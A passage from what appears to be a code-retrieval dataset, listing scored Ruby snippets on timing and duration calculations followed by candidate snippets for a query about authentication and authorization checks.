average_response_time\n return summary_average[:average_response_time]\n end", "title": "" }, { "docid": "b1071d17bd505b25ad2f3fdfff2922a5", "score": "0.69468397", "text": "def average_predict_time\n\t\treturn @timmer/Float(@predict_call_count)\n\tend", "title": "" }, { "docid": "353c0fef063b0e3fab9c288587c864bf", "score": "0.670233", "text": "def average_queue_duration\n average_duration(answered_contacts, 'arrived', 'forwarded_to_agent')\n end", "title": "" }, { "docid": "a29f5279bb27de2c62288d20391718fc", "score": "0.6589239", "text": "def duration; ((endtime()- starttime()) / 60).to_i; end", "title": "" }, { "docid": "e21af73f61ca1d639ed6913c8639705d", "score": "0.6530525", "text": "def duration\n return @data.size.to_f / @sample_rate\n end", "title": "" }, { "docid": "0f7833db54bfb68039f8328d491af2b9", "score": "0.6492572", "text": "def average\n return @@average_times.inject(:+).to_f / @@average_times.size\n end", "title": "" }, { "docid": "db3e1cdd26c8200545e8f80ad8c278b7", "score": "0.6462304", "text": "def aseconds ; return @frames / FPS ; end", "title": "" }, { "docid": "bbccd8407804e355c9c71d69ce3597f6", "score": "0.6450812", "text": "def average_idling_time\n if self.total_duration > 0\n ((self.total_idling_time / self.total_duration) * 100)\n else\n 0\n end\n end", "title": "" }, { "docid": "e24e4c3bf981085d1fc58f244a8ac1e0", "score": "0.6436263", "text": "def total_time; end", "title": "" }, { "docid": "c3cf3f01db69e4aa0ea4b6739c3bf0c7", "score": "0.6426042", "text": "def getavg\r\n\t\tif @duration == 0\r\n\t\t\treturn 0\r\n\t\telse\r\n\t\t\treturn ((@miles_driven.to_f / @duration)*60)\r\n\t\tend\r\n\tend", "title": "" }, { "docid": "323aa0f12537912805d958b2c6f8dcfa", "score": "0.6423431", "text": "def duration(proc)\n start = Time.now\n proc.call\n dur = Time.now - start\nend", "title": "" }, { "docid": "fedbcd6391ddea779c1108d55d4578b0", "score": "0.64192694", "text": "def average_wait_time\n self.reviews.average(:wait_time).to_i\n end", "title": "" }, { "docid": "31b8d9463e2ea04953b6ba8d89898782", "score": "0.6403241", "text": "def requests_per_second\n requests / horizon_time\n end", "title": "" }, { "docid": "1a47fe61503d7c380fb88f5af2c6baee", "score": "0.6400413", "text": "def current_avg_speed(activities)\n average_speed_arr = list_of(activities)[:average_speed][-3..-1]\n average = average_speed_arr.inject{ |sum, el| sum + el }.to_f / average_speed_arr.size\n meters_per_minute_formated(average)\n end", "title": "" }, { "docid": "90fbd405f1e19cb5208da7debf550ba7", "score": "0.6398598", "text": "def get_total_runtime\n TimeDifference.between(*get_runtime_timestamps).humanize\n end", "title": "" }, { "docid": "4e58cc47dd3dad3d65318d51319de430", "score": "0.6390214", "text": "def process_duration\n return 0.0 unless process_ended_at && process_started_at\n\n (process_ended_at - process_started_at).ceil(3)\n end", "title": "" }, { "docid": "258b6994ad2de044566d70cfc68163c9", "score": "0.63888115", "text": "def timed(&block)\n @@start_time = Time.now\n Thread.new(&block).join\n @@elapsed_time = Time.now - @@start_time\n @@average_times.push(@@elapsed_time) \n end", "title": "" }, { "docid": "10f925f8f986ed6cabf35a85302396f9", "score": "0.63580334", "text": "def running_average; end", "title": "" }, { "docid": "7ce703109322d74cbc0396aafcf995dc", "score": "0.6351778", "text": "def time\n each_item.reduce(0) { |a, e| a + e.duration }\n end", "title": "" }, { "docid": "d32cd005597c147a8cb5629892983b98", "score": "0.6351507", "text": "def average_driving_time\n if self.total_duration > 0\n ((self.total_driving_time / self.total_duration) * 100)\n else\n 0\n end\n end", "title": "" }, { "docid": "18cfd82c1cb958700ccae41a86b87019", "score": "0.6345262", "text": "def get_total_runtime_ms\n (TimeDifference.between(*get_runtime_timestamps).in_seconds * 1000).to_i\n end", "title": "" }, { "docid": "6230c8673fb3ff039d5010d616ae490d", "score": "0.63304186", "text": "def average_inbound_round_trip_delay\n return @average_inbound_round_trip_delay\n end", "title": "" }, { "docid": "cfadf3e91c4097f1ab11c12d15958b42", "score": "0.6308711", "text": "def duration_ms\n @scope_layer.total_call_time*1000 # ms\n end", "title": "" }, { "docid": "d8c30a42cfa161a163673bae82e508fa", "score": "0.6283012", "text": "def measure\n start_real = System.monotonic_time\n start_cpu = System.cpu_time\n retval = yield\n\n real_time = System.monotonic_time - start_real\n cpu_time = System.cpu_time - start_cpu\n\n @real_time += real_time\n @cpu_time += cpu_time\n @call_count += 1\n\n if call_measurement_enabled? && above_threshold?\n self.class.call_duration_histogram.observe(@transaction.labels.merge(labels), real_time / 1000.0)\n end\n\n retval\n end", "title": "" }, { "docid": "2a175b21445ce6b461415e56c9598841", "score": "0.62790686", "text": "def avg\n total_time = 0\n for url in self.keys\n total_time += self[url]\n end\n return total_time / self.size\n end", "title": "" }, { "docid": "30f089b3cb8b3758d771fd26c51d3595", "score": "0.62773776", "text": "def total_time=(_arg0); end", "title": "" }, { "docid": "599bc4c94fd37f5cf12d8c8ebc3c71e0", "score": "0.6256272", "text": "def avg_time_spent\n self.average(:time_spent)\n end", "title": "" }, { "docid": "ba38d6b381d41935936ab08cbe221f6b", "score": "0.6255018", "text": "def average_runtime(days=30)\n latest_executions(days).average(:runtime)&.to_f\n end", "title": "" }, { "docid": "8533a557b3a9fcaa1ac2bb416c8857f9", "score": "0.625188", "text": "def seconds\n (duration + 0.4999).to_i\n end", "title": "" }, { "docid": "2c8c680c65f8195f97ebc2c8bb8ed9aa", "score": "0.6223497", "text": "def calc_duration\n @duration = (Time.now - @start) * 1000.0\n end", "title": "" }, { "docid": "a7e5629fc62462a7756b53952f2ae328", "score": "0.620232", "text": "def duration; end", "title": "" }, { "docid": "a7e5629fc62462a7756b53952f2ae328", "score": "0.620232", "text": "def duration; end", "title": "" }, { "docid": "a7e5629fc62462a7756b53952f2ae328", "score": "0.620232", "text": "def duration; end", "title": "" }, { "docid": "a7e5629fc62462a7756b53952f2ae328", "score": "0.620232", "text": "def duration; end", "title": "" }, { "docid": "a7e5629fc62462a7756b53952f2ae328", "score": "0.620232", "text": "def duration; end", "title": "" }, { "docid": "254621f7bfb84074bcbd5faa94f4691e", "score": "0.6197503", "text": "def to_seconds\n (@total / @fps)\n end", "title": "" }, { "docid": "254621f7bfb84074bcbd5faa94f4691e", "score": "0.6197503", "text": "def to_seconds\n (@total / @fps)\n end", "title": "" }, { "docid": "591c863a8669998f9d631eea39385188", "score": "0.6178382", "text": "def success\n calc_duration\n end", "title": "" }, { "docid": "e194540bae56f7c88516f6e7ae5d6534", "score": "0.61689436", "text": "def total_duration\n duration = 0\n trips.each { |trip| duration += trip.duration }\n return duration\n end", "title": "" }, { "docid": "dc3173884cc4ce675ec8bc89b31d537d", "score": "0.6166718", "text": "def total_duration\n self.inject(0) do |accum,trip|\n accum += trip.duration\n accum\n end\n end", "title": "" }, { "docid": "3bc3668247455db9415b65c7eb4abc0d", "score": "0.61657184", "text": "def elapsed\n (Time.now - @start_time).round\n end", "title": "" }, { "docid": "041abeacd0a35979963a27c19d763887", "score": "0.6162106", "text": "def durations; end", "title": "" }, { "docid": "80a1075c292ca82a2029d005137c00c9", "score": "0.6159807", "text": "def ms\n ((duration * 1000.0) + 0.4999).to_i\n end", "title": "" }, { "docid": "2f4803be45deb17ce6ca5b18a2cdd5f8", "score": "0.6142861", "text": "def avg_speed\r\n if @pitches.length > 0\r\n @pitches.collect(&:start_speed).sum.to_f/@pitches.length\r\n else\r\n 0\r\n end\r\n end", "title": "" }, { "docid": "7bb6b083e6d7813309d45b26b06265ab", "score": "0.6131828", "text": "def duration\n (Time.now.to_f - @start) * 1000\n end", "title": "" }, { "docid": "43dd672f50a1dbe3166627e063797adc", "score": "0.6129589", "text": "def total_duration\n media_segments.reduce(0.0) do | a, e |\n a + e.duration\n end\n\n end", "title": "" }, { "docid": "fdbef70f08dcc99aaa038eb56de1ca6d", "score": "0.6127342", "text": "def average_duration(contacts, period_start_field, period_end_field)\n contacts.select(\"ROUND(AVG(EXTRACT(EPOCH FROM contacts.#{period_end_field}- contacts.#{period_start_field}))) AS avg\")[0]['avg'] || 0\n end", "title": "" }, { "docid": "82299bcf683c5d2a6c5be9329bedc708", "score": "0.6120331", "text": "def calculate_duration_of(task) ; 5 ; end", "title": "" }, { "docid": "c7d9f15d57142c147bfd102c277c8a6e", "score": "0.61061287", "text": "def avg_speed(point,walk_segments)\n\t# TO DO: improve this so we account distance and not assume all segments are the same length\n\tif @@vars['prev_point'] != nil and @@vars['prev_speed'] != nil\n\t\t#dist = distance([@@vars['prev_point'].x(),@@vars['prev_point'].y()],[point.x(),point.y()])*111110\n\t\tspeed = @@vars['walk_speed_ms'][@@vars['prev_speed']]\n\n\t\t@@vars['avg_path_speed_ms'] += speed\n\tend\nend", "title": "" }, { "docid": "14cd1ebb611b4804741c2ffcd09f9bf8", "score": "0.6099189", "text": "def timing(stat, ms, sample_rate=1); send stat, ms, 'ms', sample_rate end", "title": "" }, { "docid": "f6b2aafbf78c4c81220626e2cd944013", "score": "0.60972154", "text": "def process_duration\n t1 = Process.times.utime\n Process.times.utime - t1\nend", "title": "" }, { "docid": "1571fc11038f69a14c25b51742fa18bc", "score": "0.60848016", "text": "def elapsed_seconds(start_time, end_time)\r\n end_time - start_time\r\nend", "title": "" }, { "docid": "541aada5e94f29081d64ee80353a493e", "score": "0.60814834", "text": "def measure(n=0)\n if n == 0\n start = Time.now\n yield\n end_time = Time.now\n total = end_time - start\n else\n start = Time.now\n n.times { yield }\n end_time =Time.now\n total = end_time - start\n avg = total / n\n end\nend", "title": "" }, { "docid": "491cb45568f77320e2c69b3734232bfd", "score": "0.6070004", "text": "def total_seconds\n (ends_at - Time.current).round\n end", "title": "" }, { "docid": "8e4ed6e4ccaabf140da395185480f6a2", "score": "0.60686487", "text": "def elapsed_time\n if end_time && start_time\n return ((end_time - start_time)/60).round\n else\n return 0\n end\n end", "title": "" }, { "docid": "b9591ab87e364d35df39aa9461185a58", "score": "0.6067313", "text": "def total_duration\n running_total = 0\n @trips.each do |trip|\n @total_driving_time += trip.duration\n end\n end", "title": "" }, { "docid": "e1d9e25c9f7bcaeeb59a046bd151e212", "score": "0.60553384", "text": "def elapsed_time\n (Time.now.to_f - @start_time) * 1000\n end", "title": "" }, { "docid": "f2789b4ab9bf4ab1beca5603d3d9d614", "score": "0.6054592", "text": "def run_time\n ((Time.now - start_time) * 1000).round\n end", "title": "" }, { "docid": "2df5858637dcfb8688ffcb9985a22e50", "score": "0.60517895", "text": "def duration\n if leg_a_answered_at.nil?\n return 0\n else\n if hangup? \n (leg_a_hangup_at - leg_a_answered_at).round\n else\n (Time.now - leg_a_answered_at).round\n end\n end\n end", "title": "" }, { "docid": "3f5f70a00a53aa4094cdea741a47f558", "score": "0.6049319", "text": "def report\n puts \"Time taken: #{average}\"\n puts \"Messages per second: #{@messages_count / average}\" if @messages_count\n end", "title": "" }, { "docid": "e10af80c840311ac30b2efa9066b93b4", "score": "0.60468745", "text": "def average_outbound_round_trip_delay\n return @average_outbound_round_trip_delay\n end", "title": "" }, { "docid": "ce102284864bdff2f7d14377654dee25", "score": "0.60393506", "text": "def time_duration\n t1 = Time.now.to_f\n Time.now.to_f - t1\nend", "title": "" }, { "docid": "d7e199c0e470929538d84c51957b6298", "score": "0.6039014", "text": "def display_time_diff(src_path)\n td = calc_time_diff(src_path)\n avg = td.inject{|sum,el| sum + el}.to_f / td.size\n\n td.each {|t| puts t}\n puts \"Size: #{td.size}\"\n puts \"Min: #{td.min}\"\n puts \"Max: #{td.max}\"\n puts \"Avg: #{avg.round}\" \nend", "title": "" }, { "docid": "925bdbfeca144ad4cb527a6470cc40b6", "score": "0.6035911", "text": "def response_time\n metrics['Response Time'].round\n end", "title": "" }, { "docid": "b3693dc7689299da7272f419615354de", "score": "0.6035595", "text": "def avg_time_lap\n times = []\n self.voltas.each { |lap_num, lap_stat| times << time_in_ms(lap_stat[:tempo])}\n return ms_to_min(get_avg(times))\n end", "title": "" }, { "docid": "3f82d4bdea1d9007a02e0ed7b5ed0bdf", "score": "0.60326385", "text": "def get_run_time(ant)\n end", "title": "" }, { "docid": "e4d6c65b2693ca613a36905f2b7f7cf2", "score": "0.6018678", "text": "def duration\n @duration ||= @av_stream[:duration].to_f / AV_TIME_BASE\n end", "title": "" }, { "docid": "7410d0a72b281dfed5180a53a6801818", "score": "0.60173", "text": "def tv_sec() end", "title": "" }, { "docid": "94066b3159de3c9a4b6181c9667ab4d0", "score": "0.6006661", "text": "def elapsed_time\n (Time.now.to_f - @start_time) * 1000000\n end", "title": "" }, { "docid": "3027c573234b7887185e6decda17d473", "score": "0.5969699", "text": "def running_average=(_arg0); end", "title": "" }, { "docid": "5fcd3385e6628bf843c0b70693264eb3", "score": "0.59362084", "text": "def duration\n 30\n end", "title": "" }, { "docid": "5115ac1938686d99aae25666c7327fcf", "score": "0.59305704", "text": "def average_exec_time(&block)\n (0...1000).sum do\n Benchmark.measure(&block).real\n end / 1000\nend", "title": "" }, { "docid": "6d3d1a23e12b0b99a6fa0d6acf08f687", "score": "0.59288776", "text": "def get_total_time\n return RideShare.get_all_trip_durations_in_seconds(@trips)\n end", "title": "" }, { "docid": "7bf92851c9b7875461db91fdd7134a49", "score": "0.59274673", "text": "def duration\n\t\tt =(Time.now- @start)\n\t\treturn t\n\tend", "title": "" }, { "docid": "6d1a226a145dd596425c62092611394d", "score": "0.59183323", "text": "def measure(iterations = 1)\n time_elapsed = []\n\n iterations.times do\n @start = Time.now\n yield\n @stop = Time.now\n time_elapsed << (@stop - @start)\n end\n\n # reduce(:+) takes all elements in array, performs an operation, and keeps a running total\n time_elapsed.reduce(:+) / iterations.to_f\nend", "title": "" }, { "docid": "3ea55af57ac293443715e5c96a9e9a6b", "score": "0.5915966", "text": "def average_cpu_usage(_start_time, _end_time)\n raise(NotImplementedError, \"#{self.class}##{__method__} implementation not found.\")\n end", "title": "" }, { "docid": "01245c18cd669098262151241ea5cceb", "score": "0.59040886", "text": "def elapsed_time\n seconds = (self.end_at.to_i - self.start_at.to_i)\n (seconds / 60)\n end", "title": "" }, { "docid": "8b103d7325432fbb3f5f203f7e95e1d0", "score": "0.58999836", "text": "def total_duration\n Duration.new(@total_sample_frames, @format.sample_rate)\n end", "title": "" }, { "docid": "8b103d7325432fbb3f5f203f7e95e1d0", "score": "0.58999836", "text": "def total_duration\n Duration.new(@total_sample_frames, @format.sample_rate)\n end", "title": "" }, { "docid": "aea3fed44cbb8f4cd4d6d09002077816", "score": "0.5894641", "text": "def mean_rate\n last_at, last_value = @samples.last\n if last_at == @start_time\n 0\n else\n last_value / (last_at - @start_time)\n end\n end", "title": "" }, { "docid": "5d7e71c32d0fcd675af69f01b4d34bec", "score": "0.58877724", "text": "def duration # (in seconds)\n if self.end_time and self.start_time \n return (self.end_time - self.start_time).to_i\n end\n walk_time.to_i +\n transit_time.to_i +\n wait_time.to_i\n end", "title": "" }, { "docid": "ce4d674161ea6099a7ad34a6949f4b36", "score": "0.58857", "text": "def total_seconds()\n if @handle.ptr == nil\n raise \"this is disposed\"\n end\n result = Native.TimeSpan_total_seconds(@handle.ptr)\n result\n end", "title": "" }, { "docid": "09f0d9ed730dd7b45246b6e84c9015ef", "score": "0.5880273", "text": "def avg_time\n self[:avg_time] || Tournament.current.default_avg_time\n end", "title": "" }, { "docid": "48b75573db38b8c820d3eca68b45e8f5", "score": "0.588016", "text": "def to_seconds\n AVERAGE_FACTOR * atom\n end", "title": "" }, { "docid": "48b75573db38b8c820d3eca68b45e8f5", "score": "0.588016", "text": "def to_seconds\n AVERAGE_FACTOR * atom\n end", "title": "" }, { "docid": "a9b3c6b1d32a3e8b9888d6f889918cf0", "score": "0.5872903", "text": "def total_time_spent\n\t\ttotal_time = 0\n\t\tclock_events.each do |clock_event|\n\t\t if clock_event.clock_out\n\t\t time_difference = clock_event.clock_out - clock_event.clock_in\n\t\t total_time += time_difference\n\t\t end\n\t\tend\n\t\tTime.at(total_time).utc.strftime \"%H:%M:%S\"\n\tend", "title": "" }, { "docid": "d3349bd7f7bf54559d38d5fb24667e59", "score": "0.5870036", "text": "def duration=(_arg0); end", "title": "" }, { "docid": "3ca33af504aef0cf3c66b600b3fc2c6c", "score": "0.5865232", "text": "def total_time(distance, mph)\n time = distance / mph \nend", "title": "" }, { "docid": "eedb7375f9f34326a194851130562188", "score": "0.58641315", "text": "def mean_time_to_failure_in_minutes\n return @mean_time_to_failure_in_minutes\n end", "title": "" }, { "docid": "eedb7375f9f34326a194851130562188", "score": "0.58641315", "text": "def mean_time_to_failure_in_minutes\n return @mean_time_to_failure_in_minutes\n end", "title": "" }, { "docid": "ecc9c74b4b5c0ddd81556e2724868064", "score": "0.5862122", "text": "def elapsed\n ms = duration\n s = ms.to_i\n ms = ((ms - s) * 1000).to_i\n h = s / 3600\n s = s % 3600\n d = h / 24\n h = h % 24\n m = s / 60\n s = s % 60\n return d, h, m, s, ms\n end", "title": "" }, { "docid": "a42d46ef49ee87faa192e3731beb29a8", "score": "0.58610916", "text": "def elapsed_seconds(start_time, end_time)\n end_time.to_i - start_time.to_i\nend", "title": "" }, { "docid": "e554a40ace208471b03527c36d109868", "score": "0.5859432", "text": "def duration\n if start_time && end_time\n end_time.to_i - start_time.to_i\n else\n 0.0\n end\n end", "title": "" } ]
bf1132a79c01039d0da43bd1ffd2d0b3
check the authentification on AUTH if any value returned, that will be used for ongoing processing otherwise the original value will be used for authorization_id
[ { "docid": "5f89f3981105246ee770d334d570389c", "score": "0.0", "text": "def on_auth_event(ctx, authorization_id, authentication_id, authentication)\n # if authentification is used, override this event\n # and implement your own user management.\n # otherwise all authentifications are blocked per default\n logger.debug(\"Deny access from #{ctx[:server][:remote_ip]}:#{ctx[:server][:remote_port]} for #{authentication_id}\" + (authorization_id == '' ? '' : \"/#{authorization_id}\") + \" with #{authentication}\")\n raise Smtpd535Exception\n end", "title": "" } ]
[ { "docid": "f93f770c9e0562a483a9d06be553cb2e", "score": "0.7205184", "text": "def auth\n auth_token || render_unauthorized\n end", "title": "" }, { "docid": "73af87262f574323a809c0e2eeaa013f", "score": "0.7085594", "text": "def normal_auth?\n self.result != \"1\"\n end", "title": "" }, { "docid": "1952b4b45ed2e4d46f1cd8aac0ac01c1", "score": "0.702049", "text": "def process_check_auth_response(response); end", "title": "" }, { "docid": "3d268700375eeba834059ba41e5b104f", "score": "0.6994992", "text": "def auth_id_included_in_auth_token?\n http_auth_token && decoded_auth_token && decoded_auth_token[:auth_id]\n end", "title": "" }, { "docid": "c207d8bdee19bcf125c974c942a74dd2", "score": "0.6918626", "text": "def authorization_status\n auth_handler.status\n end", "title": "" }, { "docid": "27ba7db93c456c02af8092e3d4b2aee8", "score": "0.68048507", "text": "def authenticate\n if request.headers[\"HTTP_AUTHORIZATION\"].present?\n token = request.headers[\"HTTP_AUTHORIZATION\"].split('Token token=').last\n if token != '0x3f01b98dce38ab266910c5527cb011602514bf88ee1a9e076fd071d78c54e319'\n unauthorize\n end\n else\n unauthorize\n end\n end", "title": "" }, { "docid": "b805d88fbad4a6fcf144840390594930", "score": "0.6803678", "text": "def auth_id_included_in_auth_token?\n http_auth_token && decoded_auth_token && decoded_auth_token[:auth_id]\n end", "title": "" }, { "docid": "c5922b4b24e5e9dff9543af0ad61dbcb", "score": "0.6739694", "text": "def authorization_id\n data[:authorisationId]\n end", "title": "" }, { "docid": "b5f9447ae735aab2b89e46432ebaa0b2", "score": "0.665405", "text": "def authorized?\n\t\t\treturn false unless /[a-zA-Z0-9]{32}/ === request.cookies['ok']\n\t\t\tok, @person = PDB.call('get_person_cookie', request.cookies['ok'])\n\t\t\treturn false unless ok\n\t\t\tif auth_table \n\t\t\t\tok, res = PDB.call('person_in_table', @person[:id], auth_table)\n\t\t\t\treturn false unless ok\n\t\t\t\t@auth_id = res[:id]\n\t\t\telse # no auth_table means person auth is all we need\n\t\t\t\t@auth_id = @person[:id]\n\t\t\tend\n\t\tend", "title": "" }, { "docid": "48a27181c0ee3ac5804b308d88b59f9d", "score": "0.6634686", "text": "def bearer_authenticated?; end", "title": "" }, { "docid": "b3d06c917f2eb8a166124704711556e1", "score": "0.66299844", "text": "def authok?\n @authok\n end", "title": "" }, { "docid": "a309a1148654bd27221dfdf117df0803", "score": "0.6613594", "text": "def authok?\n @authok\n end", "title": "" }, { "docid": "a309a1148654bd27221dfdf117df0803", "score": "0.6613594", "text": "def authok?\n @authok\n end", "title": "" }, { "docid": "1bc2c1673d47e276341d11e46adb033b", "score": "0.66072625", "text": "def invoke_auth; end", "title": "" }, { "docid": "418734915f6451a2101751ada6dcd0f3", "score": "0.65647006", "text": "def authorized\n !self.authorization_code.blank?\n end", "title": "" }, { "docid": "ed72a31991822190916da1c18a173916", "score": "0.6563861", "text": "def authorize\n if env['HTTP_AUTHORIZATION'] && env['HTTP_AUTHORIZATION'].split(':').length == 2\n auth_id_user = env['HTTP_AUTHORIZATION'].split(':')\n user = User.where(id: auth_id_user[0]).first\n return user.id if user.name == auth_id_user[1]\n end\n halt 403\nend", "title": "" }, { "docid": "b57e5977699c543a408b14def6423171", "score": "0.65487915", "text": "def user_id_in_auth_token?\n !!http_auth_token && !!decoded_auth_token && !!decoded_auth_token[:id]\n end", "title": "" }, { "docid": "5ea168ac99ff49398f78361f9578dd13", "score": "0.6519618", "text": "def user_id_included_in_auth_token?\n http_auth_token && decoded_auth_token && decoded_auth_token[0][\"user_id\"]\n end", "title": "" }, { "docid": "76cfdfbd82be7cd755024427db001e91", "score": "0.6512667", "text": "def process_auth(str); end", "title": "" }, { "docid": "72b7975494fa40365ba5b83d316b1016", "score": "0.65098166", "text": "def authenticate\n authenticate_token || render_unauthorized\n end", "title": "" }, { "docid": "f89bbf732c2f37396be3eb752ecc1920", "score": "0.6506961", "text": "def auth(_)\n 'OK'\n end", "title": "" }, { "docid": "d92080932eee88b1927cab071dc3adf6", "score": "0.6498821", "text": "def authenticate\n authenticate_token || render_unauthorized\n end", "title": "" }, { "docid": "d92080932eee88b1927cab071dc3adf6", "score": "0.6498821", "text": "def authenticate\n authenticate_token || render_unauthorized\n end", "title": "" }, { "docid": "d92080932eee88b1927cab071dc3adf6", "score": "0.6498821", "text": "def authenticate\n authenticate_token || render_unauthorized\n end", "title": "" }, { "docid": "d92080932eee88b1927cab071dc3adf6", "score": "0.6498821", "text": "def authenticate\n authenticate_token || render_unauthorized\n end", "title": "" }, { "docid": "d92080932eee88b1927cab071dc3adf6", "score": "0.6498821", "text": "def authenticate\n authenticate_token || render_unauthorized\n end", "title": "" }, { "docid": "d92080932eee88b1927cab071dc3adf6", "score": "0.6498821", "text": "def authenticate\n authenticate_token || render_unauthorized\n end", "title": "" }, { "docid": "d92080932eee88b1927cab071dc3adf6", "score": "0.6498821", "text": "def authenticate\n authenticate_token || render_unauthorized\n end", "title": "" }, { "docid": "02bfc4cf57d8c3f59296706352f3bd31", "score": "0.6497007", "text": "def check_auth\n true\n end", "title": "" }, { "docid": "38cfe74b450539daf99a0f95f8eb9af1", "score": "0.6478014", "text": "def check_auth\n authorize Job\n end", "title": "" }, { "docid": "f609191b6ba6d034ef7b5942dfb4e367", "score": "0.6470955", "text": "def authorization\n @request_id ||= @request.env[\"oauth.authorization\"] || @request.params[\"authorization\"]\n end", "title": "" }, { "docid": "e3da1046aad733e0cbc99b6f1bef4302", "score": "0.6463018", "text": "def res_auth\n AuthorityInterface.api_not_implemented(self)\n end", "title": "" }, { "docid": "0649284f274cd93605e3ac29374c12e7", "score": "0.6452049", "text": "def authenticate_request \n\t\t@current_user = AuthorizeApiRequest.call(request.headers).result \n\t\trender json: { error: 'Not Authorized' }, status: 401 unless @current_user \n\tend", "title": "" }, { "docid": "a7ead580e25e52aa0341ff9a5922d65e", "score": "0.6451194", "text": "def authority_check(user, auth_object, field, value)\n #-- Execute AUTHORITY_CHECK\n function = @conn.get_function('AUTHORITY_CHECK')\n fun_call = function.get_function_call\n \n fun_call[:USER] = user\n fun_call[:OBJECT] = auth_object\n fun_call[:FIELD1] = field\n fun_call[:VALUE1] = value\n\n begin\n fun_call.invoke\n rescue Exception => ex\n if ex.to_s.include?('USER_IS_AUTHORIZED')\n api_return(0,'Authorized');\n else\n api_return(8,'User is not authorized.')\n end\n end\n\n end", "title": "" }, { "docid": "5368c430541852aec3be68b7b5e9aff0", "score": "0.6441898", "text": "def authorized?\n !auth.nil?\n end", "title": "" }, { "docid": "6d5ef0d1b10009db1e682b65cd9336c0", "score": "0.6414989", "text": "def check_auth\n # is_soft is true since failure to authenticate shouldn't fail\n set_current_user true\n end", "title": "" }, { "docid": "c96ff6a25e94a1c0bbd80b86e4fbc82e", "score": "0.6412643", "text": "def authenticate\n authenticate_token || render_unauthorized\n end", "title": "" }, { "docid": "3837665d13eea302324629c7cf66d31a", "score": "0.6409396", "text": "def process_auth str\n if @state.include?(:auth)\n send_data \"503 auth already issued\\r\\n\"\n elsif str =~ /\\APLAIN\\s?/i\n if $'.length == 0\n # we got a partial response, so let the client know to send the rest\n @state << :auth_incomplete\n send_data(\"334 \\r\\n\")\n else\n # we got the initial response, so go ahead & process it\n process_auth_line($')\n end\n #elsif str =~ /\\ALOGIN\\s+/i\n else\n send_data \"504 auth mechanism not available\\r\\n\"\n end\n end", "title": "" }, { "docid": "ab6f4561955b1910cf4935db8fa59014", "score": "0.6399392", "text": "def authorize_user(auth)\n\treturn if !auth\n\n\t# try to look up the user according to their auth_token\n\tuser = User.first(:auth_token => auth)\n\t$user = user if user != nil\nend", "title": "" }, { "docid": "ab6f4561955b1910cf4935db8fa59014", "score": "0.6399392", "text": "def authorize_user(auth)\n\treturn if !auth\n\n\t# try to look up the user according to their auth_token\n\tuser = User.first(:auth_token => auth)\n\t$user = user if user != nil\nend", "title": "" }, { "docid": "b8dbadeafc53af8ccb98c28bbc560832", "score": "0.63950765", "text": "def authenticate\n if ENV['RACK_ENV'] == 'development' or ENV['RACK_ENV'] == 'qa'\n return settings.user\n end\n\n user = request.env[\"HTTP_AUTHORIZATION\"]\n\n if user\n user = Base64.decode64(user[6,user.length-6])[/\\w+/]\n return user\n end\n\n return false\nend", "title": "" }, { "docid": "830bd2c81a0ad39139c328f8d78fcc29", "score": "0.6394469", "text": "def user_id_included_in_auth_token?\n http_auth_token && decoded_auth_token && decoded_auth_token[:user_id]\n end", "title": "" }, { "docid": "830bd2c81a0ad39139c328f8d78fcc29", "score": "0.6394469", "text": "def user_id_included_in_auth_token?\n http_auth_token && decoded_auth_token && decoded_auth_token[:user_id]\n end", "title": "" }, { "docid": "89a4ecf0947cc2137b6f4c12210b955c", "score": "0.63938046", "text": "def authorization_status\n authorization[:status] if authorization\n end", "title": "" }, { "docid": "67979b1bf24a7499f7c6a62186b1dcf7", "score": "0.6390159", "text": "def token_authenticated?; end", "title": "" }, { "docid": "e7df06ae4e96c02dac548cc826bf2022", "score": "0.63876015", "text": "def user_id_in_token? # Metodo que validad la autenticidad del token\n http_token && auth_token && auth_token[:user_id].to_i\n end", "title": "" }, { "docid": "54421176e3a1f353aec73afab9cf9fb0", "score": "0.63829863", "text": "def get_auth_code\n @RESPONSE_HASH['AUTH_CODE']\n end", "title": "" }, { "docid": "15d3855a14f6a40663415ace920ebbad", "score": "0.63666856", "text": "def has_authorization\n token = request.headers.env[\"HTTP_AUTHORIZATION\"]\n if token.present? && token.split(\" \")[1].present?\n @access_token = token.split(\" \")[1]\n else\n render :json => {messsageCode: \"Unauthorized Access\", message: \"Unauthorized Access\"}, status: 401\n end\n end", "title": "" }, { "docid": "2cc414f3066f3076b1add846f177d2cf", "score": "0.63649595", "text": "def authorization_state\n s = strava_authorized\n g = google_authorized\n\n if (!s && !g)\n return :no_authorizations \n end\n if (s && !g)\n return :strava_authorized \n end\n if (!s && g)\n return :google_authorized \n end\n if (s && g)\n return :both_authorized \n end\n end", "title": "" }, { "docid": "e822477ebb01282d7c71de400b871999", "score": "0.6363173", "text": "def authenticate_from_anypresence\n if valid_request?\n account = Account.find_by_application_id params[:application_id]\n if account.nil?\n raise \"Unable to find the account.\"\n end\n sign_in account\n elsif current_account\n true\n else\n unauthorized \n end\n end", "title": "" }, { "docid": "6158203b59d06d51d76286724616f8a6", "score": "0.6355061", "text": "def check_authorization\n session[:access_token] ||= params[:token]\n order = current_order || Order.find_by_number(params[:id])\n\n if order\n return true if current_user && current_user.id == order.user.id\n return true if order.token == session[:access_token]\n render :file => \"#{Rails.root}/public/401.html\", :layout => false, :status => 401\n return false\n else\n true\n end\n end", "title": "" }, { "docid": "1c36a3085463fee664f6ca2e7bf6a8d3", "score": "0.63493675", "text": "def check_authorization\n authorization_token = cookies[:authorization_token]\n # if cookies[:authorization_token] and not session[:user_id]\n if authorization_token and not logged_in?\n user=User.find_by_authorization_token(cookies[:authorization_token])\n # if user\n user.login?(session) if user\n # session[:user_id]=user.id\n # end\n end\n end", "title": "" }, { "docid": "baa5682198edfcfc8597523bece06053", "score": "0.6345399", "text": "def authenticate\n authenticate_token || render_unauthorized\n end", "title": "" }, { "docid": "baa5682198edfcfc8597523bece06053", "score": "0.6345399", "text": "def authenticate\n authenticate_token || render_unauthorized\n end", "title": "" }, { "docid": "4eca51429b3d210d135d732a63875028", "score": "0.6345141", "text": "def get_user_auth(slack_team_id)\n # this will raise a ActiveRecord::RecordNotFound exception if the Auth data can't be found\n auth = Auth.where(team_id: slack_team_id).first\n raise ArgumentError.new('No authorizations found for this workspace. Please go through the /provision flow first') if auth.nil?\n auth\n end", "title": "" }, { "docid": "9b773a9f2ca0fc4a8135f4dbf665033f", "score": "0.63336366", "text": "def process_authorization_header\n auth = request.headers[\"Authorization\"]\n\n if auth.is_a?(String) && auth =~ /^Key (.+)$/\n key = $1\n begin\n decrypted = JSON.parse(rails_encryptor.decrypt_and_verify(key))\n if decrypted.is_a?(Hash) && decrypted[\"context\"].is_a?(Hash)\n fields = %w(user_id username token 